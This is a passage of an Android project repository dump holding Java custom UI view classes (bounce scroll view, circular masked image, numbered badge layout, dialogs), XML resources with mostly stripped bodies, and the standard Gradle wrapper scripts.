65 | case MotionEvent.ACTION_MOVE:
66 | // System.out.println("ACTION_MOVE");
67 | final float preY = y == 0 ? ev.getY() : y;
68 | float nowY = ev.getY();
69 | int deltaY = (int) (preY - nowY);
70 | // 滚动
71 | // scrollBy(0, deltaY);
72 |
73 | y = nowY;
74 | // 当滚动到最上或者最下时就不会再滚动,这时移动布局
75 | if (isNeedMove()) {
76 | if (normal.isEmpty()) {
77 | // 保存正常的布局位置
78 | normal.set(inner.getLeft(), inner.getTop(), inner.getRight(), inner.getBottom());
79 | }
80 | // 移动布局
81 | inner.layout(inner.getLeft(), inner.getTop() - deltaY / 2, inner.getRight(), inner.getBottom()
82 | - deltaY / 2);
83 | } else {
84 | super.onTouchEvent(ev);
85 | }
86 | break;
87 | default:
88 | break;
89 | }
90 | }
91 | }
92 |
93 | // 开启动画移动
94 |
95 | public void animation() {
96 | // 开启移动动画
97 | TranslateAnimation ta = new TranslateAnimation(0, 0, 0, normal.top - inner.getTop());
98 | ta.setDuration(200);
99 | ta.setAnimationListener(new AnimationListener() {
100 | @Override
101 | public void onAnimationStart(Animation animation) {
102 | animationFinish = false;
103 |
104 | }
105 |
106 | @Override
107 | public void onAnimationRepeat(Animation animation) {
108 |
109 | }
110 |
111 | @Override
112 | public void onAnimationEnd(Animation animation) {
113 | inner.clearAnimation();
114 | // 设置回到正常的布局位置
115 | inner.layout(normal.left, normal.top, normal.right, normal.bottom);
116 | normal.setEmpty();
117 | animationFinish = true;
118 | }
119 | });
120 | inner.startAnimation(ta);
121 | }
122 |
123 | // 是否需要开启动画
124 | public boolean isNeedAnimation() {
125 | return !normal.isEmpty();
126 | }
127 |
128 | // 是否需要移动布局
129 | public boolean isNeedMove() {
130 | int offset = inner.getMeasuredHeight() - getHeight();
131 | int scrollY = getScrollY();
132 | if (scrollY == 0 || scrollY == offset) {
133 | return true;
134 | }
135 | return false;
136 | }
137 |
138 | }
139 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/MaskedImage.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 |
4 |
5 |
6 | import android.content.Context;
7 | import android.graphics.Bitmap;
8 | import android.graphics.Canvas;
9 | import android.graphics.Paint;
10 | import android.graphics.PorterDuff;
11 | import android.graphics.PorterDuffXfermode;
12 | import android.graphics.Xfermode;
13 | import android.graphics.drawable.Drawable;
14 | import android.util.AttributeSet;
15 | import android.widget.ImageView;
16 |
17 | //圆形头像控件抽象类
18 | public abstract class MaskedImage extends ImageView {
19 |
20 | private static final Xfermode MASK_XFERMODE;
21 | private Bitmap mask;
22 | private Paint paint;
23 |
24 | static {
25 | PorterDuff.Mode localMode = PorterDuff.Mode.DST_IN;
26 | MASK_XFERMODE = new PorterDuffXfermode(localMode);
27 | }
28 |
29 | public MaskedImage(Context paramContext) {
30 | super(paramContext);
31 | }
32 |
33 | public MaskedImage(Context paramContext, AttributeSet paramAttributeSet) {
34 | super(paramContext, paramAttributeSet);
35 | }
36 |
37 | public MaskedImage(Context paramContext, AttributeSet paramAttributeSet, int paramInt) {
38 | super(paramContext, paramAttributeSet, paramInt);
39 | }
40 |
41 | public abstract Bitmap createMask();
42 |
43 | protected void onDraw(Canvas paramCanvas) {
44 | Drawable localDrawable = getDrawable();
45 | if (localDrawable == null)
46 | return;
47 | try {
48 | if (this.paint == null) {
49 | Paint localPaint1 = new Paint();
50 | this.paint = localPaint1;
51 | this.paint.setFilterBitmap(false);
52 | Paint localPaint2 = this.paint;
53 | Xfermode localXfermode1 = MASK_XFERMODE;
54 | @SuppressWarnings("unused")
55 | Xfermode localXfermode2 = localPaint2.setXfermode(localXfermode1);
56 | }
57 | float f1 = getWidth();
58 | float f2 = getHeight();
59 | int i = paramCanvas.saveLayer(0.0F, 0.0F, f1, f2, null, 31);
60 | int j = getWidth();
61 | int k = getHeight();
62 | localDrawable.setBounds(0, 0, j, k);
63 | localDrawable.draw(paramCanvas);
64 | if ((this.mask == null) || (this.mask.isRecycled())) {
65 | Bitmap localBitmap1 = createMask();
66 | this.mask = localBitmap1;
67 | }
68 | Bitmap localBitmap2 = this.mask;
69 | Paint localPaint3 = this.paint;
70 | paramCanvas.drawBitmap(localBitmap2, 0.0F, 0.0F, localPaint3);
71 | paramCanvas.restoreToCount(i);
72 | return;
73 | } catch (Exception localException) {
74 | StringBuilder localStringBuilder = new StringBuilder()
75 | .append("Attempting to draw with recycled bitmap. View ID = ");
76 | System.out.println("localStringBuilder=="+localStringBuilder);
77 | }
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/MaterialDialogHelper.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 |
5 | import com.afollestad.materialdialogs.MaterialDialog;
6 | import com.afollestad.materialdialogs.Theme;
7 | import com.jiangyu.common.R;
8 |
9 |
10 | public class MaterialDialogHelper {
11 |
12 | public static MaterialDialog.Builder getDialogBuilder(Context context) {
13 | MaterialDialog.Builder dialogBuilder = new MaterialDialog.Builder(context)
14 | .theme(Theme.LIGHT)
15 | .btnSelector(R.drawable.button_selector)
16 | .positiveText("确定")
17 | .positiveColorRes(R.color.main_color)
18 | .negativeColorRes(R.color.main_color)
19 | .negativeText("取消");
20 | return dialogBuilder;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/NumRelativeLayout.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 | import android.graphics.Canvas;
5 | import android.graphics.Paint;
6 | import android.util.AttributeSet;
7 | import android.widget.ImageView;
8 | import android.widget.RelativeLayout;
9 |
10 | import com.orhanobut.logger.Logger;
11 |
12 | /**
13 | * 右上角带数字RL
14 | */
15 | public class NumRelativeLayout extends RelativeLayout {
16 |
17 | //要显示的数量数量
18 | private int num = 0;
19 | //红色圆圈的半径
20 | private float radius;
21 | //圆圈内数字的半径
22 | private float textSize;
23 | //右边和上边内边距
24 | private int paddingRight;
25 | private int paddingTop;
26 |
27 | public NumRelativeLayout(Context context) {
28 | super(context);
29 | setWillNotDraw(false);
30 | }
31 |
32 | public NumRelativeLayout(Context context, AttributeSet attrs) {
33 | super(context, attrs);
34 | setWillNotDraw(false);
35 | }
36 |
37 | public NumRelativeLayout(Context context, AttributeSet attrs, int defStyleAttr) {
38 | super(context, attrs, defStyleAttr);
39 | setWillNotDraw(false);
40 | }
41 |
42 | //设置显示的数量
43 | public void setNum(int num) {
44 | this.num = num;
45 | //重新绘制画布
46 | invalidate();
47 | }
48 |
49 | @Override
50 | protected void onDraw(Canvas canvas) {
51 | super.onDraw(canvas);
52 | if (num > 0) {
53 | //初始化半径
54 | radius = getWidth() / 5;
55 | //初始化字体大小
56 | textSize = num < 10 ? radius + 5 : radius;
57 | //初始化边距
58 | paddingRight = getPaddingRight();
59 | paddingTop = getPaddingTop();
60 | //初始化画笔
61 | Paint paint = new Paint();
62 | //设置抗锯齿
63 | paint.setAntiAlias(true);
64 | //设置颜色为红色
65 | paint.setColor(0xffff4444);
66 | //设置填充样式为充满
67 | paint.setStyle(Paint.Style.FILL);
68 | //画圆
69 | canvas.drawCircle(getWidth() - radius - paddingRight / 2, radius + paddingTop / 2, radius, paint);
70 | //设置颜色为白色
71 | paint.setColor(0xffffffff);
72 | //设置字体大小
73 | paint.setTextSize(textSize);
74 | //画数字
75 | canvas.drawText("" + (num < 99 ? num : 99),
76 | num < 10 ? getWidth() - radius - textSize / 4 - paddingRight / 2
77 | : getWidth() - radius - textSize / 2 - paddingRight / 2,
78 | radius + textSize / 3 + paddingTop / 2, paint);
79 | }
80 | }
81 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/RedBottomDialog.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.app.AlertDialog;
4 | import android.content.Context;
5 | import android.os.Bundle;
6 | import android.view.View;
7 | import android.widget.TextView;
8 |
9 | import com.jiangyu.common.R;
10 | import com.jiangyu.common.utils.StringUtil;
11 |
12 |
13 | public class RedBottomDialog extends AlertDialog {
14 | private String title;
15 | private String desc;
16 | private String left;
17 | private String right;
18 | private TextView dialog_title;
19 | private TextView dialog_desc;
20 | private TextView dialog_left;
21 | private TextView dialog_right;
22 | private Context context;
23 |
24 | public RedBottomDialog(Context context, int theme, String title, String desc, String left, String right) {
25 | super(context, theme);
26 | this.context = context;
27 | this.title = title;
28 | this.desc = desc;
29 | this.left = left;
30 | this.right = right;
31 | }
32 |
33 | @Override
34 | protected void onCreate(Bundle savedInstanceState) {
35 | super.onCreate(savedInstanceState);
36 | setContentView(R.layout.red_bottom_dialog);
37 |
38 | dialog_title = (TextView) findViewById(R.id.dialog_title);
39 | dialog_desc = (TextView) findViewById(R.id.dialog_desc);
40 | dialog_left = (TextView) findViewById(R.id.dialog_left);
41 | dialog_right = (TextView) findViewById(R.id.dialog_right);
42 |
43 | dialog_title.setText(title);
44 | dialog_desc.setText(desc);
45 | if (StringUtil.isEmpty(left)) {
46 | dialog_left.setVisibility(View.GONE);
47 | dialog_right.setBackgroundResource(R.drawable.shape_radius_bottom_selector);
48 | } else {
49 | dialog_left.setText(left);
50 | }
51 | dialog_right.setText(right);
52 | }
53 |
54 | public void setLeftOnclicListener(View.OnClickListener leftOnclicListener){
55 | dialog_left.setOnClickListener(leftOnclicListener);
56 | }
57 |
58 | public void setRightOnclicListener(View.OnClickListener rightOnclicListener){
59 | dialog_right.setOnClickListener(rightOnclicListener);
60 | }
61 |
62 |
63 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/ResizableImageView.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 | import android.graphics.drawable.Drawable;
5 | import android.util.AttributeSet;
6 | import android.widget.ImageView;
7 |
8 | /**
9 | * 按原始比例显示图片
10 | */
11 | public class ResizableImageView extends ImageView {
12 |
13 | public ResizableImageView(Context context) {
14 | super(context);
15 | }
16 |
17 | public ResizableImageView(Context context, AttributeSet attrs) {
18 | super(context, attrs);
19 | }
20 |
21 | @Override
22 | protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
23 | Drawable d = getDrawable();
24 |
25 | if (d != null) {
26 | // ceil not round - avoid thin vertical gaps along the left/right
27 | // edges
28 | int width = MeasureSpec.getSize(widthMeasureSpec);
29 | // 高度根据使得图片的宽度充满屏幕计算而得
30 | int height = (int) Math.ceil((float) width * (float) d.getIntrinsicHeight() / (float) d.getIntrinsicWidth());
31 | setMeasuredDimension(width, height);
32 | } else {
33 | super.onMeasure(widthMeasureSpec, heightMeasureSpec);
34 | }
35 | }
36 |
37 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/ResizableSimpleView.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 | import android.graphics.drawable.Drawable;
5 | import android.util.AttributeSet;
6 | import android.widget.ImageView;
7 |
8 | import com.facebook.drawee.view.SimpleDraweeView;
9 |
10 | /**
11 | * 按原始比例显示图片
12 | */
13 | public class ResizableSimpleView extends SimpleDraweeView {
14 |
15 | public ResizableSimpleView(Context context) {
16 | super(context);
17 | }
18 |
19 | public ResizableSimpleView(Context context, AttributeSet attrs) {
20 | super(context, attrs);
21 | }
22 |
23 | @Override
24 | protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
25 | Drawable d = getDrawable();
26 |
27 | if (d != null) {
28 | // ceil not round - avoid thin vertical gaps along the left/right
29 | // edges
30 | int width = MeasureSpec.getSize(widthMeasureSpec);
31 | // 高度根据使得图片的宽度充满屏幕计算而得
32 | int height = (int) Math.ceil((float) width * (float) d.getIntrinsicHeight() / (float) d.getIntrinsicWidth());
33 | setMeasuredDimension(width, height);
34 | } else {
35 | super.onMeasure(widthMeasureSpec, heightMeasureSpec);
36 | }
37 | }
38 |
39 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/ScrollAwareFABBehavior.java:
--------------------------------------------------------------------------------
1 | /*
2 | *
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | */
17 | package com.jiangyu.common.view;
18 |
19 | import android.support.design.widget.CoordinatorLayout;
20 | import android.support.design.widget.FloatingActionButton;
21 | import android.support.v4.view.ViewCompat;
22 | import android.view.View;
23 |
24 |
25 | public class ScrollAwareFABBehavior extends FloatingActionButton.Behavior {
26 |
27 | @Override
28 | public boolean onStartNestedScroll(final CoordinatorLayout coordinatorLayout, final FloatingActionButton child,
29 | final View directTargetChild, final View target, final int nestedScrollAxes) {
30 | // Ensure we react to vertical scrolling
31 | return nestedScrollAxes == ViewCompat.SCROLL_AXIS_VERTICAL
32 | || super.onStartNestedScroll(coordinatorLayout, child, directTargetChild, target, nestedScrollAxes);
33 | }
34 |
35 | @Override
36 | public void onNestedScroll(CoordinatorLayout coordinatorLayout, FloatingActionButton child,
37 | View target, int dxConsumed, int dyConsumed, int dxUnconsumed,
38 | int dyUnconsumed) {
39 | super.onNestedScroll(coordinatorLayout, child, target, dxConsumed, dyConsumed, dxUnconsumed, dyUnconsumed);
40 | if (dyConsumed > 0 && child.getVisibility() == View.VISIBLE) {
41 | child.hide();
42 | } else if (dyConsumed < 0 && child.getVisibility() != View.VISIBLE) {
43 | child.show();
44 | }
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/ViewPagerInNestedScrollView.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.support.v4.view.ViewPager;
4 |
5 | import android.content.Context;
6 | import android.support.v4.view.ViewPager;
7 | import android.util.AttributeSet;
8 | import android.view.View;
9 |
10 |
11 | public class ViewPagerInNestedScrollView extends ViewPager {
12 | public ViewPagerInNestedScrollView(Context context) {
13 | super(context);
14 | }
15 |
16 | public ViewPagerInNestedScrollView(Context context, AttributeSet attrs) {
17 | super(context, attrs);
18 | }
19 |
20 | @Override
21 | protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
22 | super.onMeasure(widthMeasureSpec, heightMeasureSpec);
23 |
24 | int height = 0;
25 | for (int i = 0; i < getChildCount(); i++) {
26 | View child = getChildAt(i);
27 | child.measure(widthMeasureSpec, MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED));
28 | int h = child.getMeasuredHeight();
29 | if (h > height) height = h;
30 | }
31 | heightMeasureSpec = MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY);
32 | super.onMeasure(widthMeasureSpec, heightMeasureSpec);
33 | }
34 | }
--------------------------------------------------------------------------------
/common/src/main/res/anim/bottom_push_up_in.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 |
19 |
20 |
24 |
25 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/bottom_push_up_out.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 |
19 |
20 |
24 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/nothing.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
8 |
9 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/push_left_in.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/push_left_out.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/push_right_in.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/push_right_out.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/top_push_up_in.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 |
19 |
20 |
24 |
25 |
--------------------------------------------------------------------------------
/common/src/main/res/anim/top_push_up_out.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 |
19 |
20 |
24 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable-v21/button_selector.xml:
--------------------------------------------------------------------------------
1 |
2 | //点击时波纹的颜色
5 | //未点击时控件的颜色
6 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/background.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
10 |
17 |
18 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/button_selector.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_circle_main_color.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
13 |
14 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_all.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_bottom_normal.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_bottom_pressed.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_bottom_selector.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_left_bottom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_right_bottom_normal.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_right_bottom_pressed.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/shape_radius_right_bottom_selector.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/common/src/main/res/drawable/trans_button_selector.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/activity_top_margin_main_color.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/activity_top_margin_transparent.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/activity_top_margin_white.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/item_top_main_color.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
13 |
14 |
20 |
21 |
29 |
30 |
37 |
38 |
47 |
48 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/item_top_white.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
11 |
12 |
18 |
19 |
27 |
28 |
35 |
36 |
45 |
46 |
47 |
51 |
--------------------------------------------------------------------------------
/common/src/main/res/layout/red_bottom_dialog.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
13 |
14 |
23 |
24 |
33 |
34 |
38 |
39 |
50 |
51 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/common/src/main/res/mipmap-xxhdpi/arrow_left.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yifanxiaokeai/SmsDemo/c3e64469ca4b9c18cb0a88b64728a12ef7b0b1e0/common/src/main/res/mipmap-xxhdpi/arrow_left.png
--------------------------------------------------------------------------------
/common/src/main/res/mipmap-xxhdpi/arrow_left_white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yifanxiaokeai/SmsDemo/c3e64469ca4b9c18cb0a88b64728a12ef7b0b1e0/common/src/main/res/mipmap-xxhdpi/arrow_left_white.png
--------------------------------------------------------------------------------
/common/src/main/res/values-v19/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 | 25dp
3 |
4 |
--------------------------------------------------------------------------------
/common/src/main/res/values/attrs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/common/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 |
6 | 0dp
7 |
8 | 16sp
9 | 10dp
10 | 20dp
11 |
12 |
--------------------------------------------------------------------------------
/common/src/main/res/values/ids.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/common/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | Common
3 |
4 |
--------------------------------------------------------------------------------
/common/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
19 |
20 |
27 |
28 |
35 |
36 |
37 |
44 |
45 |
52 |
53 |
60 |
61 |
68 |
69 |
76 |
77 |
84 |
85 |
92 |
93 |
100 |
101 |
108 |
109 |
120 |
121 |
130 |
131 |
140 |
141 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 |
3 | # IDE (e.g. Android Studio) users:
4 | # Gradle settings configured through the IDE *will override*
5 | # any settings specified in this file.
6 |
7 | # For more details on how to configure your build environment visit
8 | # http://www.gradle.org/docs/current/userguide/build_environment.html
9 |
10 | # Specifies the JVM arguments used for the daemon process.
11 | # The setting is particularly useful for tweaking memory settings.
12 | org.gradle.jvmargs=-Xmx1536m
13 |
14 | # When configured, Gradle will run in incubating parallel mode.
15 | # This option should only be used with decoupled projects. More details, visit
16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
17 | # org.gradle.parallel=true
18 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yifanxiaokeai/SmsDemo/c3e64469ca4b9c18cb0a88b64728a12ef7b0b1e0/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Mon Dec 28 10:00:20 PST 2015
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.14.1-all.zip
7 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
10 | DEFAULT_JVM_OPTS=""
11 |
12 | APP_NAME="Gradle"
13 | APP_BASE_NAME=`basename "$0"`
14 |
15 | # Use the maximum available, or set MAX_FD != -1 to use that value.
16 | MAX_FD="maximum"
17 |
18 | warn ( ) {
19 | echo "$*"
20 | }
21 |
22 | die ( ) {
23 | echo
24 | echo "$*"
25 | echo
26 | exit 1
27 | }
28 |
29 | # OS specific support (must be 'true' or 'false').
30 | cygwin=false
31 | msys=false
32 | darwin=false
33 | case "`uname`" in
34 | CYGWIN* )
35 | cygwin=true
36 | ;;
37 | Darwin* )
38 | darwin=true
39 | ;;
40 | MINGW* )
41 | msys=true
42 | ;;
43 | esac
44 |
45 | # Attempt to set APP_HOME
46 | # Resolve links: $0 may be a link
47 | PRG="$0"
48 | # Need this for relative symlinks.
49 | while [ -h "$PRG" ] ; do
50 | ls=`ls -ld "$PRG"`
51 | link=`expr "$ls" : '.*-> \(.*\)$'`
52 | if expr "$link" : '/.*' > /dev/null; then
53 | PRG="$link"
54 | else
55 | PRG=`dirname "$PRG"`"/$link"
56 | fi
57 | done
58 | SAVED="`pwd`"
59 | cd "`dirname \"$PRG\"`/" >/dev/null
60 | APP_HOME="`pwd -P`"
61 | cd "$SAVED" >/dev/null
62 |
63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
64 |
65 | # Determine the Java command to use to start the JVM.
66 | if [ -n "$JAVA_HOME" ] ; then
67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
68 | # IBM's JDK on AIX uses strange locations for the executables
69 | JAVACMD="$JAVA_HOME/jre/sh/java"
70 | else
71 | JAVACMD="$JAVA_HOME/bin/java"
72 | fi
73 | if [ ! -x "$JAVACMD" ] ; then
74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
75 |
76 | Please set the JAVA_HOME variable in your environment to match the
77 | location of your Java installation."
78 | fi
79 | else
80 | JAVACMD="java"
81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
82 |
83 | Please set the JAVA_HOME variable in your environment to match the
84 | location of your Java installation."
85 | fi
86 |
87 | # Increase the maximum file descriptors if we can.
88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
89 | MAX_FD_LIMIT=`ulimit -H -n`
90 | if [ $? -eq 0 ] ; then
91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
92 | MAX_FD="$MAX_FD_LIMIT"
93 | fi
94 | ulimit -n $MAX_FD
95 | if [ $? -ne 0 ] ; then
96 | warn "Could not set maximum file descriptor limit: $MAX_FD"
97 | fi
98 | else
99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
100 | fi
101 | fi
102 |
103 | # For Darwin, add options to specify how the application appears in the dock
104 | if $darwin; then
105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
106 | fi
107 |
108 | # For Cygwin, switch paths to Windows format before running java
109 | if $cygwin ; then
110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
112 | JAVACMD=`cygpath --unix "$JAVACMD"`
113 |
114 | # We build the pattern for arguments to be converted via cygpath
115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
116 | SEP=""
117 | for dir in $ROOTDIRSRAW ; do
118 | ROOTDIRS="$ROOTDIRS$SEP$dir"
119 | SEP="|"
120 | done
121 | OURCYGPATTERN="(^($ROOTDIRS))"
122 | # Add a user-defined pattern to the cygpath arguments
123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
125 | fi
126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
127 | i=0
128 | for arg in "$@" ; do
129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
131 |
132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
134 | else
135 | eval `echo args$i`="\"$arg\""
136 | fi
137 | i=$((i+1))
138 | done
139 | case $i in
140 | (0) set -- ;;
141 | (1) set -- "$args0" ;;
142 | (2) set -- "$args0" "$args1" ;;
143 | (3) set -- "$args0" "$args1" "$args2" ;;
144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
150 | esac
151 | fi
152 |
153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
154 | function splitJvmOpts() {
155 | JVM_OPTS=("$@")
156 | }
157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
159 |
160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
161 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
